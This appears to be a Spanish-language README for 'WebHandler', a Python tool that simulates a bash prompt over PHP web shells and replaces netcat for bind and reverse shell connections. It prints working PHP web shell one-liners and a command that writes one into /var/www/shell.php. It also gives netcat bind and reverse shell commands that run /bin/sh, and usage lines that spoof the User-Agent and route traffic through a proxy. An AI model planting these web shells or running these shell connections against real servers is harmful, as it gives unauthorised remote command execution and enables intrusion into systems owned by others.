
Simulador de Bash para controlar un servidor mediante funciones del sistema de PHP.
Un manejador para las funciones de sistema de PHP y también una alternativa al manejador 'netcat'
WebHandler intenta simular un 'prompt bash de Linux' para manejar y procesar:
- Funciones de ejecución de programas PHP _(p. ej., `system`, `passthru`, `exec`, etc.)_
- Conexiones bind shell
- Conexiones de shell inversas
Otra característica es suplantar el campo "User-Agent" en la cabecera HTTP. (--random-angent).
También admite proxies HTTP (--proxy http://<ip>:<port>)
WebHandler funciona para peticiones POST y GET:
<?php system($_GET['cmd']); ?><?php passthru($_REQUEST['cmd']); ?><?php echo exec($_POST['cmd']); ?>WebHandler es un reemplazo para las conexiones netcat.
Un ejemplo de conexión bind (p. ej., nc -lvvp 1234 -e /bin/sh)
Normalmente el usuario ejecutaría:
netcat -l -p 1234nc -lvvp 1234Un ejemplo de conexión inversa (p. ej., nc 127.0.0.1 4321 -e /bin/sh)
Normalmente el usuario ejecutaría:
netcat -l -p 4321nc -lvvp 4321--Archivo de ejemplo:
echo '<?php system($_GET['cmd']); ?>' > /var/www/shell.php--url es un argumento obligatorio al enviar peticiones GET o POST (p. ej., una conexión bind 'PHP basada en web'):
python webhandler.py --url http://www.mywebsite.com/shell.php?cmd=python webhandler.py --url http://www.mywebsite.com/shell.php --method POST --parameter cmdpython webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --random-agent --turbopython webhandler.py -u http://www.mywebsite.com/shell.php?cmd= --proxy http://127.0.0.1:8080--listen es un argumento obligatorio cuando se trabaja con una conexión en espera (p. ej., una conexión inversa 'raw'):
python webhandler.py --listen 1234Si la versión de tu Python es < 2.7.x, entonces argparse es obligatorio
Para instalarlo ejecuta: sudo (apt-get|yum) install python-setuptools && sudo easy_install argparse O sudo pip --install argparse.
readline es opcional. Este módulo se utiliza para proporcionar funciones avanzadas de edición de línea e historial
git es opcional. Esto permite mantener el proyecto actualizado